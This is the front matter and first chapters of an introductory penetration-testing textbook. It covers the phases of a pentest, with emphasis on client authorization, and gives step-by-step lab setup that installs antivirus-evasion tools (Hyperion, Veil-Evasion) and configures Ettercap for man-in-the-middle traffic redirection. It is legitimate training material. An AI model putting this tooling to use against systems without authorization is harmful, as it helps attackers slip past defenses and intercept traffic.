Peter Hesse and Gene Meltser for forcing me to have the courage to move up at key junctures in my career.
Jayson Street for being a pickier eater than me so I almost pass as normal at speaker dinners in foreign countries. You are the best.
Ian Amit for recommending me for some great speaking slots when I was just starting out.
Martin Bos for being awesome. You know what I mean.
Jason Kent for all those global premier upgrades and wonderful tautologies for definitions, some of which appear herein.
My professors at James Madison University, particularly Samuel T.
Redwine—you inspired me more than you will ever know.
The people at No Starch Press for their help and support in developing this book, including Alison Law, Tyler Ortman, and KC Crowell. Special thanks to my editor and No Starch’s publisher, Bill Pollock.

xxiv Acknowledgments

Introduction

I decided to write this book because it was the sort of book I wish I had had when I was starting out in information security. Though there are certainly more informative websites out there than when I first started, I still find it’s difficult for a beginner to know what to read first and where to get the expected prerequisite skills.
Likewise, there are a lot of books on the market—several great ones on advanced topics, which require some background knowledge, and many good books aimed at beginners, which cover a significant amount of theory.
But I haven’t found anything that says everything I want to say to the aspiring pentester who emails me looking for a place to start in information security.
In my teaching career I’ve always found that my favorite course to teach is Introduction to Pentesting. The students always have a thirst for knowledge that is lots of fun to be around. Thus, when I was approached by No Starch Press to write a book, this was the book I proposed. When I announced it, many people assumed I was writing a mobile security book, but while I considered that, I thought an introduction to pentesting would make the biggest impact on the audience I most wanted to reach.

A Note of Thanks
A book like this would not be possible without many years of dedicated work on the part of the information security community. The tools and techniques discussed throughout this book are some of the ones my colleagues and I use regularly on engagements, and they’ve been developed through the combined efforts of pentesters and other security experts all over the world. I’ve contributed to some of these open source projects (such as Mona.py, which we’ll use in the exploit development chapters), and I hope this book will inspire you to do the same.
I want to take this opportunity to thank Offensive Security for creating and maintaining the Kali Linux pentesting distribution used widely in the field and throughout this book. A huge amount of credit also goes to the core developers of the Metasploit Framework, as well as its numerous community contributors. Thanks too to all the pentesters and researchers who have shared their knowledge, discoveries, and techniques with the community so that we can use them to assess the security posture of our clients more effectively, and so that teachers like me can use them with our students.
Thanks as well to the creators of the great books, blog posts, courses, and so on that have helped me achieve my goal of becoming a professional pentester. I now hope to share the knowledge I’ve gained with other aspiring pentesters.
You’ll find a list of additional resources (including courses and blogs) at the end of this book. These are some of the resources that I have found helpful on my own journey in infosec, and I encourage you to use them to learn more about the many penetration testing topics covered in this book.
I hope you enjoy your journey as much as I have.

About This Book
To work through this book, you will need to know how to install software on your computer. That’s it. You don’t need to be a Linux expert or know the nitty-gritty of how networking protocols work. When you encounter a topic that is not familiar to you, I encourage you to do some outside research beyond my explanations if you need to—but we will walk step-bystep through all the tools and techniques that may be new to you, starting with the Linux command line. When I started in information security, the closest thing I’d ever done to hacking was making the Windows XP pre-SP2
Start menu say Georgia instead of Start. And I was pretty proud of myself at the time.
And then I went to the Collegiate Cyber Defense Competition and all the Red Team members were using the command line at rapid speed and making pop-up windows appear on my desktop from across a crowded room. All I knew was that I wanted to be like them. There was a lot of hard work between then and now, and there will be much more hard work as I endeavor to reach the highest level of information security. I only hope that with this book I can inspire more people to follow the same path. xxvi Introduction

Part I: The Basics
In Chapter 0, we start out with some basic definitions of the phases of penetration testing. In Chapter 1, we build our small practice laboratory, which we will use to work through the exercises in this book. With many books, it’s possible to just download a few programs onto your existing platform, but to simulate a penetration test, our approach is a bit more involved. I recommend that you take the time to set up your lab and work through the hands-on examples with me. Though this book can serve as a reference and reminder in the field, I believe it is best to first practice your pentesting skills at home.
In Chapter 2, we start with the basics of using Kali Linux and Linux operating systems in general. Next, Chapter 3 covers the basics of programming. Some readers may already have a working knowledge in these areas and can skip past them. When I first started out, I had some programming experience in C and Java, but I didn’t have a background in scripting, and
I had practically no background in Linux—a skillset that was assumed by most of the hacking tutorials I encountered. Thus, I have provided a primer here. If you are new to these areas, please do continue your studies outside of this book. Linux-based operating systems are becoming more and more prevalent as the platforms for mobile devices and web services, so skills in this area will benefit you even if you don’t pursue a career in information security. Likewise, knowing how to script your common tasks can only make your life easier, regardless of your career.
We look at the basics of using the Metasploit Framework, a tool we will leverage throughout this book, in Chapter 4. Though we will also learn to perform many tasks without Metasploit, it is a go-to tool for many pentesters in the field and is constantly evolving to include the latest threats and techniques. Part II: Assessments
Next we start working through a simulated penetration test. In Chapter 5, we begin by gathering data about our target—both by searching freely available information online and by engaging our target systems. We then start searching for vulnerabilities using a combination of querying the systems and research in Chapter 6. In Chapter 7, we look at techniques to capture traffic that might include sensitive data.

Part III: Attacks
Next, in Chapter 8, we look at exploiting the vulnerabilities we found on the network with a variety of tools and techniques, including Metasploit and purely manual exploitation. We then look at methods for attacking what is often the weakest link in a network’s security—password management—in
Chapter 9.
We next look at some more advanced exploitation techniques. Not all vulnerabilities are in a service listening on the network. Web browsers,
PDF readers, Java, Microsoft Office—they all have been subject to security issues. As clients work harder to secure their networks, attacking clientside software may be the key to getting a foothold in the network. We look
Introduction xxvii

at leveraging client-side attacks in Chapter 10. In Chapter 11, we combine client-side attacks with a look at social engineering, or attacking the human element—the part of the environment that cannot be patched. After all, with client-side attacks, the software in question must open a malicious file of some sort, so we must convince the user to help us out. In Chapter 12, we look at some methods of bypassing antivirus software, as many of your clients will deploy it. If you have high enough privileges on a system, you may be able to just turn antivirus programs off, but a better solution is to breeze right past antivirus programs undetected, which can be done even if you are saving malicious programs to the hard drive.
In Chapter 13, we pick up with the next phase of our penetration test, post exploitation. Some say the pentest truly begins after exploitation. This is where you leverage your access to find additional systems to attack, sensitive information to steal, and so on. If you continue your penetration testing studies, you will spend a good deal of time working on the latest and greatest post-exploitation techniques.
After post exploitation, we look at a few additional skills you will need to be a well-rounded penetration tester. We will take a brief look at assessing the security of custom web applications in Chapter 14. Everyone has a website these days, so it’s a good skill to cultivate. Next we will look at assessing the security of wireless networks in Chapter 15, looking at methods for cracking commonly deployed cryptographic systems.

Part IV: Exploit Development
Chapters 16, 17, 18, and 19 discuss the basics of writing your own exploits.
We will look at finding vulnerabilities, exploiting them with common techniques, and even writing our own Metasploit module. Up until these chapters, we have relied on tools and publicly available exploits for a lot of our exercises. As you advance in infosec, you may want to find new bugs (called zero-days) and report them to vendors for a possible bounty. You can then release a public exploit and/or Metasploit module to help other pentesters test their customers’ environments for the issue you discovered.

Part V: Mobile Hacking
Finally, in Chapter 20, we close with a relatively new area of penetration testing—assessing the security of mobile devices. We look at my own tool, the
Smartphone Pentest Framework. Perhaps after mastering the skills in this book, you will endeavor to develop and release a security tool of your own.
Of course, this book doesn’t cover every single facet of information security, nor every tool or technique. If it did, this book would have been several times longer and come out a good deal later, and I need to get back to my research. So here you have it: a hands-on introduction to hacking. It is an honor to be with you on this important step on your journey into information security. I hope that you learn a lot from this book and that it inspires you to continue your studies and become an active member of this exciting and rapidly developing field. xxviii Introduction

0

Pe ne t r at ion T e s t ing Pr ime r

Penetration testing, or pentesting (not to be confused with testing ballpoint or fountain pens), involves simulating real attacks to assess the risk associated with potential security breaches. On a pentest (as opposed to a vulnerability assessment), the testers not only discover vulnerabilities that could be used by attackers but also exploit vulnerabilities, where possible, to assess what attackers might gain after a successful exploitation. From time to time, a news story breaks about a major company being hit by a cyberattack. More often than not, the attackers didn’t use the latest and greatest zero-day (a vulnerability unpatched by the software publishers).
Major companies with sizable security budgets fall victim to SQL injection vulnerabilities on their websites, social-engineering attacks against employees, weak passwords on Internet-facing services, and so on. In other

words, companies are losing proprietary data and exposing their clients’ personal details through security holes that could have been fixed. On a penetration test, we find these issues before an attacker does, and we recommend how to fix them and avoid future vulnerabilities.
The scope of your pentests will vary from client to client, as will your tasks. Some clients will have an excellent security posture, while others will have vulnerabilities that could allow attackers to breach the perimeter and gain access to internal systems.
You may also be tasked with assessing one or many custom web applications. You may perform social-engineering and client-side attacks to gain access to a client’s internal network. Some pentests will require you to act like an insider—a malicious employee or attacker who has already breached the perimeter—as you perform an internal penetration test. Some clients will request an external penetration test, in which you simulate an attack via the
Internet. And some clients may want you to assess the security of the wireless networks in their office. In some cases, you may even audit a client’s physical security controls.

The Stages of the Penetration Test
Pentesting begins with the pre-engagement phase, which involves talking to the client about their goals for the pentest, mapping out the scope (the extent and parameters of the test), and so on. When the pentester and the client agree about scope, reporting format, and other topics, the actual testing begins.
In the information-gathering phase, the pentester searches for publicly available information about the client and identifies potential ways to connect to its systems. In the threat-modeling phase, the tester uses this information to determine the value of each finding and the impact to the client if the finding permitted an attacker to break into a system. This evaluation allows the pentester to develop an action plan and methods of attack.
Before the pentester can start attacking systems, he or she performs a vulnerability analysis. In this phase, the pentester attempts to discover vulnerabilities in the systems that can be taken advantage of in the exploitation phase. A successful exploit might lead to a post-exploitation phase, where the result of the exploitation is leveraged to find additional information, sensitive data, access to other systems, and so on.
Finally, in the reporting phase, the pentester summarizes the findings for both executives and technical practitioners.
Note

For more information on pentesting, a good place to start is the Penetration Testing
Execution Standard (PTES) at http://www.pentest-standard.org/.

Pre-engagement
Before the pentest begins, pentesters perform pre-engagement interactions with the client to make sure everyone is on the same page about the
2 Chapter 0

penetration testing. Miscommunication between a pentester and a client who expects a simple vulnerability scan could lead to a sticky situation because penetration tests are much more intrusive.
The pre-engagement stage is when you should take the time to understand your client’s business goals for the pentest. If this is their first pentest, what prompted them to find a pentester? What exposures are they most worried about? Do they have any fragile devices you need to be careful with when testing? (I’ve encountered everything from windmills to medical devices hooked up to patients on networks.)
Ask questions about your client’s business. What matters most to them?
For example, to a top online vendor, hours of downtime could mean thousands of dollars of lost revenue. To a local bank, having online banking sites go down for a few hours may annoy a few customers, but that downtime wouldn’t be nearly as devastating as the compromise of a credit card database. To an information security vendor, having their homepage plastered with rude messages from attackers could lead to a damaged reputation that snowballs into a major revenue loss.
Other important items to discuss and agree upon during the preengagement phase of the pentest include the following:
Scope
What IP addresses or hosts are in scope, and what is not in scope? What sorts of actions will the client allow you to perform? Are you allowed to use exploits and potentially bring down a service, or should you limit the assessment to merely detecting possible vulnerabilities? Does the client understand that even a simple port scan could bring down a server or router? Are you allowed to perform a social-engineering attack?
The testing window
The client may want you to perform tests only during specific hours or on certain days.
Contact information
Whom should you contact if you find something serious? Does the client expect you to contact someone 24 hours a day? Do they prefer that you use encryption for email?
A “get out of jail free” card
Make sure you have authorization to perform a penetration test on the target. If a target is not owned by the company (for instance, because it’s hosted by a third party), make sure to verify that the client has formal approval from the third party to perform the penetration test.
Regardless, make sure your contract includes a statement that limits your liability in case something unexpected happens, and get written permission to perform the test.
Payment terms
How and when will you be paid, and how much?
Penetration Testing Primer 3

Finally, include a nondisclosure agreement clause in your contract.
Clients will appreciate your written commitment to keep the penetration test and any findings confidential.

Information Gathering
Next is the information-gathering phase. During this phase, you analyze freely available sources of information, a process known as gathering open source intelligence (OSINT). You also begin to use tools such as port scanners to get an idea of what systems are out there on the Internet or internal network as well as what software is running. We’ll explore information gathering in more detail in Chapter 5.

Threat Modeling
Based on the knowledge gained in the information-gathering phase, we move on to threat modeling. Here we think like attackers and develop plans of attack based on the information we’ve gathered. For example, if the client develops proprietary software, an attacker could devastate the organization by gaining access to their internal development systems, where the source code is developed and tested, and selling the company’s trade secrets to a competitor. Based on the data we found during information gathering, we develop strategies to penetrate a client’s systems.

Vulnerability Analysis
Next, pentesters begin to actively discover vulnerabilities to determine how successful their exploit strategies might be. Failed exploits can crash services, set off intrusion-detection alerts, and otherwise ruin your chances of successful exploitation. Often during this phase, pentesters run vulnerability scanners, which use vulnerability databases and a series of active checks to make a best guess about which vulnerabilities are present on a client’s system. But though vulnerability scanners are powerful tools, they can’t fully replace critical thinking, so we also perform manual analysis and verify results on our own in this phase as well. We’ll explore various vulnerabilityidentification tools and techniques in Chapter 6.

Exploitation
Now for the fun stuff: exploitation. Here we run exploits against the vulnerabilities we’ve discovered (sometimes using a tool like Metasploit) in an attempt to access a client’s systems. As you’ll see, some vulnerabilities will be remarkably easy to exploit, such as logging in with default passwords. We’ll look at exploitation in Chapter 8.

Post Exploitation
Some say pentests truly begin only after exploitation, in the post-exploitation phase. You got in, but what does that intrusion really mean to the client? If you broke into an unpatched legacy system that isn’t part of a domain or
4 Chapter 0

otherwise networked to high-value targets, and that system contains no information of interest to an attacker, that vulnerability’s risk is significantly lower than if you were able to exploit a domain controller or a client’s development system.
During post exploitation, we gather information about the attacked system, look for interesting files, attempt to elevate our privileges where necessary, and so on. For example, we might dump password hashes to see if we can reverse them or use them to access additional systems. We might also try to use the exploited machine to attack systems not previously available to us by pivoting into them. We’ll examine post exploitation in Chapter 13.

Reporting
The final phase of penetration testing is reporting. This is where we convey our findings to the customer in a meaningful way. We tell them what they’re doing correctly, where they need to improve their security posture, how you got in, what you found, how to fix problems, and so on.
Writing a good pentest report is an art that takes practice to master.
You’ll need to convey your findings clearly to everyone from the IT staff charged with fixing vulnerabilities to upper management who signs off on the changes to external auditors. For instance, if a nontechnical type reads,
“And then I used MS08-067 to get a shell,” he or she might think, “You mean, like a seashell?” A better way to communicate this thought would be to mention the private data you were able to access or change. A statement like “I was able to read your email,” will resonate with almost anyone.
The pentest report should include both an executive summary and a technical report, as discussed in the following sections.
Executive Summary
The executive summary describes the goals of the test and offers a highlevel overview of the findings. The intended audience is the executives in charge of the security program. Your executive summary should include the following:
Background A description of the purpose of the test and definitions of any terms that may be unfamiliar to executives, such as vulnerability and countermeasure.
Overall posture An overview of the effectiveness of the test, the issues found (such as exploiting the MS08-067 Microsoft vulnerability), and general issues that cause vulnerabilities, such as a lack of patch management. Risk profile An overall rank of the organization’s security posture compared to similar organizations with measures such as high, moderate, or low. You should also include an explanation of the ranking.
General findings A general synopsis of the issues identified along with statistics and metrics on the effectiveness of any countermeasures deployed. Penetration Testing Primer 5

Recommendation summary A high-level overview of the tasks required to remediate the issues discovered in the pentest.
Strategic road map Give the client short- and long-term goals to improve their security posture. For example, you might tell them to apply certain patches now to address short-term concerns, but without a long-term plan for patch management, the client will be in the same position after new patches have been released.
Technical Report
This section of the report offers technical details of the test. It should include the following:
Introduction An inventory of details such as scope, contacts, and so on.
Information gathering Details of the findings in the informationgathering phase. Of particular interest is the client’s Internet footprint.
Vulnerability assessment Details of the findings of the vulnerabilityanalysis phase of the test.
Exploitation/vulnerability verification Details of the findings from the exploitation phase of the test.
Post exploitation Details of the findings of the post-exploitation phase of the test.
Risk/exposure A quantitative description of the risk discovered. This section estimates the loss if the identified vulnerabilities were exploited by an attacker.
Conclusion A final overview of the test.

Summary
This chapter has taken a brief look at the phases of penetration testing, including pre-engagement, information gathering, threat modeling, vulnerability analysis, exploitation, post exploitation, and reporting.
Familiarity with these phases will be crucial as you begin your pentesting career, and you’ll learn more about them as you move through the book.

6 Chapter 0

Part I
Th e B a s i c s

1

S e t t i n g Up Y o u r V i r t u a l L a b

As you work through this book, you’ll get hands-on experience using different tools and techniques for penetration testing by working in a virtual lab running in the VMware virtualization software. I’ll walk you through setting up your lab to run multiple operating systems inside your base operating system in order to simulate an entire network using just one physical machine. We’ll use our lab to attack target systems throughout this book.

Installing VMware
As the first step in setting up your virtual lab, download and install a desktop VMware product. VMware Player is available free for personal use for
Microsoft Windows and Linux operating systems (http://www.vmware.com/ products/player/). VMware also offers VMware Workstation (http://www
.vmware.com/products/workstation/) for Windows and Linux, which includes

additional features such as the ability to take snapshots of the virtual machine that you can revert to in case you break something. VMware
Workstation is available for free for 30 days, but after that, you will need to buy it or switch back to using VMware Player.
Mac users can run a trial version of VMware Fusion (http://www.vmware
.com/products/fusion/) free for 30 days, and it costs only about $50 after that.
As a Mac user, I’ll use VMware Fusion throughout the book, but setup instructions are also included for VMware Player.
Download the version of VMware that matches your operating system and architecture (32- or 64-bit). If you encounter any problems installing
VMware, you’ll find plenty of support at the VMware website.

Setting Up Kali Linux
Kali Linux is a Debian-based Linux distribution that comes with a wide variety of preinstalled security tools that we’ll use throughout this book.
This book is written for Kali 1.0.6, the current version as of this writing.
You’ll find a link to a torrent containing a copy of Kali 1.0.6 at this book’s website (http://nostarch.com/pentesting/). As time passes, newer versions of
Kali will be released. If you would like, feel free to download the latest version of Kali Linux from http://www.kali.org/. Keep in mind, though, that many of the tools we’ll use in this book are in active development, so if you use a newer version of Kali, some of the exercises may differ from the walkthroughs in this book. If you prefer everything to work as written, I recommend using the version of Kali 1.0.6 provided in the torrent (a file called kali-linux-1.0.6-vm-i486.7z), which is a prebuilt VMware image compressed with 7-Zip.
Note

You can find 7-Zip programs for Windows and Linux platforms at http://www
.7-zip.org/download.html. For Mac users, I recommend Ez7z from http://ez7z
.en.softonic.com/mac/.
1. Once the 7-Zip archive is decompressed, in VMware go to File4 Open and direct it to the file Kali Linux 1.0.6 32 bit.vmx in the decompressed
Kali Linux 1.0.6 32 bit folder.
2. Once the virtual machine opens, click the Play button and, when prompted as shown in Figure 1-1, choose I copied it.
3. As Kali Linux boots up, you will be prompted as shown in Figure 1-2.
Choose the top (default) highlighted option.

10 Chapter 1

Figure 1-1: Opening the Kali Linux virtual machine

Figure 1-2: Booting Kali Linux

Setting Up Your Virtual Lab 11

4. Once Kali Linux boots, you will be presented with a login screen like the one shown in Figure 1-3.

Figure 1-3: Kali login screen

5. Click Other and enter the default credentials for Kali Linux, root:toor, as shown in Figure 1-4. Then click the Log In button.

Figure 1-4: Logging into Kali

12 Chapter 1

6. You will be presented with a screen like the one shown in Figure 1-5.

Figure 1-5: The Kali Linux GUI

Configuring the Network for Your Virtual Machine
Because we’ll be using Kali Linux to attack our target systems over a network, we need to place all our virtual machines on the same virtual network
(we will see an example of moving between networks in Chapter 13, which covers post exploitation). VMware offers three options for virtual network connections: bridged, NAT, and host only. You should choose the bridged option, but here’s a bit of information about each:
•

•

•

The bridged network connects the virtual machine directly to the local network using the same connection as the host system. As far as the local network is concerned, our virtual machine is just another node on the network with its own IP address.
NAT, short for network address translation, sets up a private network on the host machine. The private network translates outgoing traffic from the virtual machine to the local network. On the local network, traffic from the virtual machine will appear to come from the host machine’s IP address. The host-only network limits the virtual machine to a local private network on the host. The virtual machine will be able to communicate with other virtual machines in the host-only network as well as the host machine itself, but it will not be able to send or receive any traffic with the local network or the Internet.
Setting Up Your Virtual Lab 13

Note

Because our target virtual machines will have multiple known security vulnerabilities, use caution when attaching them to your local network because anyone else on that network can also attack these machines. For this reason, I do not recommend working through this book on a public network where you do not trust the other users.
By default, the Kali Linux virtual machine network adapter is set to
NAT. Here’s how to change that option on both Windows and Mac OS.
VMware Player on Microsoft Windows
To change the virtual network on VMware Player for Windows, start VMware
Player and then click your Kali Linux virtual machine. Choose Edit virtual machine settings, as shown in Figure 1-6. (If you’re still running Kali Linux in VMware Player, choose Player4Manage4Virtual machine settings.)

Figure 1-6: Changing the VMware network adapter

On the next screen, choose Network Adapter in the Hardware tab and choose the Bridged option in the Network connection section, as shown in
Figure 1-7.

14 Chapter 1

Figure 1-7: Changing the network adapter settings

Now click the Configure Adapters button and check the network adapter that you’re using with your host operating system. As you can see in Figure 1-8, I’ve selected only the Realtek wireless adapter. Once you’ve made your selection, press OK.

Figure 1-8: Selecting a network adapter

Setting Up Your Virtual Lab 15

VMware Fusion on Mac OS
To change the virtual network connection in VMware Fusion, go to Virtual
Machine4Network Adapter and change from NAT to Bridged, as shown in
Figure 1-9.

Figure 1-9: Changing the network adapter

Connecting the Virtual Machine to the Network
Kali Linux should automatically pull an IP address from the Bridged network once you make the switch. To verify your IP address, open a Linux terminal by clicking the terminal icon(a black rectangle with the symbols >_) at the top left of the Kali screen (or choose Applications4Accessories4Terminal).
Then run the command ifconfig to see your network information, as shown in Listing 1-1. root@kali:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:df:7e:4d inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
--snip-Listing 1-1: Networking information
NOTE

16 Chapter 1

The prompt root@kali:~# is the superuser (root) prompt. We will learn more about this and the other Linux commands we use for setup in Chapter 2.

The IPv4 address for this virtual machine is 192.168.20.9, as highlighted in bold in Listing 1-1. (The IP address for your machine will likely differ.)
Testing Your Internet Access
Now let’s make sure that Kali Linux can connect to the Internet. We’ll use the ping network utility to see if we can reach Google. Make sure your computer is connected to the Internet, open a Linux terminal, and enter the following. root@kali:~# ping www.google.com

If you see something like the following in response, you’re online.
(We’ll learn more about the ping command in Chapter 3.)
PING www.google.com (50.0.2.221) 56(84) bytes of data.
64 bytes from cache.google.com (50.0.2.221): icmp_req=1
64 bytes from cache.google.com (50.0.2.221): icmp_req=2
64 bytes from cache.google.com (50.0.2.221): icmp_req=3
64 bytes from cache.google.com (50.0.2.221): icmp_req=4
64 bytes from cache.google.com (50.0.2.221): icmp_req=5
64 bytes from cache.google.com (50.0.2.221): icmp_req=6
--snip--

ttl=60 ttl=60 ttl=60 ttl=60 ttl=60 ttl=60 time=28.7 time=28.1 time=27.4 time=29.4 time=28.7 time=28.0 ms ms ms ms ms ms If you do not receive a response, make sure that you have set your network adapter to Bridged, that Kali Linux has an IP address, and, of course, that your host system currently has Internet access.

Installing Nessus
Although Kali Linux has just about every tool we’ll need, we do need to install a few additional programs. First, we’ll install Tenable Security’s
Nessus Home vulnerability scanner. This scanner is free for home use only
(you’ll see a description of limitations on the Nessus website). Note that
Nessus is very actively developed, so the current version as well as its GUI may have changed a bit since this book went to press.
Use the following steps to install Nessus Home from within Kali:
1. Open Applications4Internet4Iceweasel Web Browser and enter http://www.tenable.com/products/nessus-home/ in the address bar. Complete the Register for an Activation Code information and click Register.
(Use a real email address—you’ll need the activation code later.)
2. Once you reach the Downloads page, choose the latest version of Nessus for the Linux Debian 32-bit platform (Nessus-5.2.5-debian6_i386.deb as of this writing) and download it to your root directory (the default download location).
3. Open a Linux terminal (click the terminal icon at the top of the Kali screen) to open a root prompt.

Setting Up Your Virtual Lab 17

4. Enter ls to see a list of the files in your root directory. You should see the Nessus file that you just downloaded.
5. Enter dpkg -i followed by the name of the file you downloaded (you can type the first letter of the filename and press tab to use tab completion) and press enter to begin the install process. Installation may take a while as Nessus processes various plugins. Progress is shown by a line of hash symbols (#).
Selecting previously unselected package nessus.
(Reading database ... 355024 files and directories currently installed.)
Unpacking nessus (from Nessus-5.2.5-debian6_amd64.deb) ...
Setting up nessus (5.2.5) ... nessusd (Nessus) 5.2.5 [build N25109] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Processing the Nessus plugins...
[###########

]

6. Once you’re returned to the root prompt with no errors, Nessus should be installed, and you should see a message like this.
All plugins loaded
Fetching the newest plugins from nessus.org...
Fetching the newest updates from nessus.org...
Done. The Nessus server will start processing these plugins within a minute nessusd (Nessus) 5.2.5 [build N25109] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Processing the Nessus plugins...
[##################################################]
All plugins loaded
- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner

7. Now enter the following to start Nessus. root@kali:~# /etc/init.d/nessusd start

8. Open the URL https://kali:8834/ in the Iceweasel web browser. You should see a SSL certificate warning, similar to that in Figure 1-10. note 18 Chapter 1

If you access Nessus from outside the Iceweasel browser in Kali, you will need to go to https://<ipaddressofKali>:8834 instead.

Figure 1-10: Invalid SSL certificate warning

9. Expand I Understand the Risks and click Add Exception. Then click
Confirm Security Exception, as shown in Figure 1-11.

Figure 1-11: Confirming the security exception

Setting Up Your Virtual Lab 19

10. Click Get Started at the bottom left of the opening Nessus page and enter a username and password on the following page. I’ve chosen georgia:password for my example. If you choose something else, remember it because we’ll use Nessus in Chapter 6. (Note that I use poor passwords throughout this book, as will many clients you encounter. In production, you should use much better passwords than password.)
11. At the next page, enter the activation code you received via email from
Tenable Security.
12. Once registered with Tenable Security, choose the option to download plugins (downloading will take some time). Once Nessus processes the plugins, it will initialize.
When Nessus finishes downloading plugins and configuring the software, you should see the Nessus login screen, as shown in Figure 1-12. You should be able to use the credentials for the account you created during setup to log in.

Figure 1-12: Login screen of the Nessus web interface

To close Nessus, just close its tab in the browser. We will come back to
Nessus in Chapter 6.

Installing Additional Software
We’re not done yet. Follow these instructions to complete your Kali Linux install. The Ming C Compiler
We need to install a cross compiler so we can compile C code to run on
Microsoft Windows systems. The Ming compiler is included in the Kali Linux repositories but is not installed by default. Install it with this command. root@kali:~# apt-get install mingw32

20 Chapter 1

Hyperion
We’ll use the Hyperion encryption program to bypass antivirus software.
Hyperion is not currently included in the Kali repositories. Download
Hyperion with wget, unzip it, and compile it with the Ming cross compiler you installed in the previous step, as shown in Listing 1-2. root@kali:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip root@kali:~# unzip Hyperion-1.0.zip
Archive: Hyperion-1.0.zip creating: Hyperion-1.0/ creating: Hyperion-1.0/FasmAES-1.0/ root@kali:~# i586-mingw32msvc-c++ Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe
--snip-Listing 1-2: Installing Hyperion

Veil-Evasion
Veil-Evasion is a tool that generates payload executables you can use to bypass common antivirus solutions. Install Veil-Evasion Kali (see Listing 1-3) by first downloading it with the command wget. Next, unzip the downloaded file master.zip and change to the Veil-master/setup directory. Finally, enter ./setup.sh and follow the default prompts. root@kali:~# wget https://github.com/ChrisTruncer/Veil/archive/master.zip
--2015-11-26 09:54:10-- https://github.com/ChrisTruncer/Veil/archive/master.zip
--snip-2015-11-26 09:54:14 (880 KB/s) - `master.zip' saved [665425] root@kali:~# unzip master.zip
Archive: master.zip
948984fa75899dc45a1939ffbf4fc0e2ede0c4c4
creating: Veil-Evasion-master/
--snip-inflating: Veil-Evasion-master/tools/pyherion.py root@kali:~# cd Veil-Evasion-master/setup root@kali:~/Veil-Evasion-master/setup# ./setup.sh
=========================================================================
[Web]: https://www.veil-evasion.com | [Twitter]: @veilevasion
=========================================================================
[*] Initializing Apt Dependencies Installation
--snip—
Do you want to continue? [Y/n]? Y
--snip-root@kali:~#
Listing 1-3: Installing Veil-Evasion

Setting Up Your Virtual Lab 21

Ettercap
Ettercap is a tool for performing man-in-the-middle attacks. Before running it for the first time, we need to make a couple of changes to its configuration file at /etc/ettercap/etter.conf. Open its configuration file from a Kali root prompt in the nano editor. root@kali:~# nano /etc/ettercap/etter.conf

First change the userid and groupid values to 0 so Ettercap can run with root privileges. Scroll down to where you see the following lines in the file.
Replace whatever values you see following the equal signs (=) with a 0.
[privs]
ec_uid = 0 ec_gid = 0

# nobody is the default
# nobody is the default

Now scroll down to the Linux section of the file and uncomment
(remove the leading # characters) before the two lines shown at u and v in Listing 1-4 to set Iptables firewall rules to redirect the traffic.
#--------------#
Linux
#--------------# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT
%rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT
%rport"
# if you use iptables: uredir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT
--to-port %rport" vredir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT
--to-port %rport"
Listing 1-4: Ettercap configuration file

Save and exit the file by pressing ctrl-X and then Y to save the changes.

Setting Up Android Emulators
Now we’ll set up three Android emulators on Kali to use for mobile testing in Chapter 20. First we’ll need to download the Android SDK.
1. Open the Iceweasel web browser from within Kali and visit https:// developer.android.com/sdk/index.html. 2. Download the current version of the ADT bundle for 32-bit Linux and save it to your root directory.

22 Chapter 1

3. Open a terminal, list the files there (ls), and extract the compressed archive that you just downloaded with unzip (the x’s represent the name of your file, as versions may have changed since this was written). root@kali:~# unzip adt-bundle-Linux-x86-xxxxxxxxxxx.zip

4. Now use cd to go into the new directory (with the same name as the file without the .zip extension).
# cd sdk/tools
# ./android

5. The Android SDK Manager should open, as shown in Figure 1-13.

Figure 1-13: The Android SDK Manager

We’ll download any updates to the Android SDK tools and Android SDK platform tools (checked by default), as well as Android 4.3 and a couple of older versions of Android with specific vulnerabilities, Android 2.2 and
Android 2.1. Select the boxes to the left of each Android version. Then
(leaving Updates/New and Installed checked) click Install packages, as shown in Figure 1-14. Accept the license agreement, and the Android SDK should download and install the chosen packages. Installation will likely take several minutes.

Setting Up Your Virtual Lab 23

Figure 1-14: Installing Android software

Now it’s time to set up our Android virtual devices. Open the Android
SDK Manager and choose Tools4Manage AVDs. You should see the window shown in Figure 1-15.

Figure 1-15: Android Virtual Device Manager

24 Chapter 1

We’ll create three Android emulators based on Android 4.3, 2.2, and 2.1, as shown in Figure 1-16. Use the values shown in the figure for each emulator but set the value of Target to the Android version of the emulator you would like to build (the Google API versions of Android 4.3
[Google APIs version 18], 2.2 [Google APIs version 8], and 2.1 [Google
APIs version 7]). Fill the AVD Name field with a descriptive value. Add a small SD Card value (100MB should be more than sufficient) so you can download files to your Android emulators. Set Device to Nexus 4 and Skin to Skin with dynamic hardware controls. Leave the rest of the options at their defaults.

Figure 1-16: Creating an Android emulator

Once you’ve built all three emulators, your AVD Manager should look like Figure 1-17 (device names may be different of course).

Setting Up Your Virtual Lab 25

Figure 1-17: Android emulators created in Android Virtual Device Manager

To start an emulator, highlight it and click Start. Then click Launch in the pop-up, as shown in Figure 1-18.

Figure 1-18: Launching an Android emulator

It may take a few minutes for the emulator to boot up for the first time, but once it does, you should have something that looks and feels much like a real Android device. The Android 4.3 emulator is shown in Figure 1-19.
26 Chapter 1

Figure 1-19: Android 4.3 emulator
Note

To run the Android emulators in Kali, you will likely need to increase the performance of your virtual machine by increasing its RAM and CPU cores. I am able to run all three emulators with 3GB RAM and two CPU cores allocated to Kali. You can make these changes in the virtual machine settings in your VMware product. The amount of power you can give to Kali will, of course, depend on the resources available on your host machine. As an alternative, instead of running the Android emulators on Kali Linux, you can install Android and the emulators on your host system or even another system on the local network. The exercises in Chapter 20 will work as long as the emulators can communicate with Kali.

Smartphone Pentest Framework
